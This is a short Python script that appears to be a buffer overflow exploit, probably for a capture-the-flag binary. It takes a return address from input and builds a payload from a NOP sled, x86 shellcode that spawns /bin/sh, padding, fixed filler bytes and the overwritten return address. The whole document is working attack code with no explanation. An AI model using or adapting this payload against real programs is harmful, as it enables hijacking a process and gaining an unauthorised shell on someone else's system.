import struct
import sys
data = lambda data: struct.pack("I",data)
eip = int(raw_input(),16)

sys.stdout.write("\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x4b\x2c\x40\xcd\x80"+"A"*93+"\xa5\x31\x5a\x47\x55\x15\x50\x40"+"AAAAAABBBBBB"+data(eip))

